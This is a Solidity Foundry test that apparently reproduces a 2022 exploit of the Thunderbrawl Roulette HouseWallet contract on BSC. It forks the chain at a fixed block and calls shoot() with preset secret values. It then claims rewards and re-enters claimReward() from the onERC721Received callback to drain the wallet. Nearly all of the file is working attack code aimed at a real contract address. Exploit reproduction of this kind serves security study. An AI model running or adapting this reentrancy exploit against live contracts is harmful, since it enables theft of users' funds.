src/test/2022-09/THB_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7interface IERC721Receiver {
8    function onERC721Received(
9        address operator,
10        address from,
11        uint256 tokenId,
12        bytes calldata data
13    ) external returns (bytes4);
14}
15 
16interface HouseWallet {
17    function winners(uint256 id, address player) external view returns (uint256);
18    function claimReward(
19        uint256 _ID,
20        address payable _player,
21        uint256 _amount,
22        bool _rewardStatus,
23        uint256 _x,
24        string memory name,
25        address _add
26    ) external;
27    function shoot(
28        uint256 random,
29        uint256 gameId,
30        bool feestate,
31        uint256 _x,
32        string memory name,
33        address _add,
34        bool nftcheck,
35        bool dystopianCheck
36    ) external payable;
37}
38 
39contract ContractTest is Test {
40    HouseWallet houseWallet = HouseWallet(0xae191Ca19F0f8E21d754c6CAb99107eD62B6fe53);
41    uint256 randomNumber = 12_345_678_000_000_000_000_000_000;
42 
43    uint256 gameId = 1;
44    bool feestate = false;
45    // sha256(abi.encode(_x, name, _add)) == hashValueTwo maybe off-chain calculate
46    uint256 _x = 2_845_798_969_920_214_568_462_001_258_446;
47    string name = "HATEFUCKINGHACKERSTHEYNEVERCANHACKTHISIHATEPREVIOUS";
48    address _add = 0x6Ee709bf229c7C2303128e88225128784c801ce1;
49 
50    bool nftcheck = true;
51    bool dystopianCheck = true;
52 
53    address payable add = payable(address(this));
54    bool _rewardStatus = true;
55    // sha256(abi.encode(_x, name, _add)) == hashValue  maybe off-chain calculate
56    uint256 _x1 = 969_820_990_102_090_205_468_486;
57    string name1 = "WELCOMETOTHUNDERBRAWLROULETTENOWYOUWINTHESHOOTINGGAME";
58 
59    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
60    IERC721 THBR = IERC721(0x72e901F1bb2BfA2339326DfB90c5cEc911e2ba3C); // Thunderbrawl Roulette Contract
61 
62    function setUp() public {
63        cheats.createSelectFork("bsc", 21_785_004);
64    }
65 
66    function testExploit() public {
67        emit log_named_uint("Attacker THBR balance before exploit", THBR.balanceOf(address(this)));
68 
69        houseWallet.shoot{value: 0.32 ether}(randomNumber, gameId, feestate, _x, name, _add, nftcheck, dystopianCheck);
70        uint256 _amount = houseWallet.winners(gameId, add);
71        houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add);
72 
73        emit log_named_uint("Attacker THBR balance after exploit", THBR.balanceOf(address(this)));
74    }
75 
76    receive() external payable {}
77 
78    function onERC721Received(
79        address _operator,
80        address _from,
81        uint256 _tokenId,
82        bytes calldata _data
83    ) external payable returns (bytes4) {
84        uint256 _amount = houseWallet.winners(gameId, add);
85        if (address(houseWallet).balance >= _amount * 2) {
86            houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add);
87        }
88        return this.onERC721Received.selector;
89    }
90}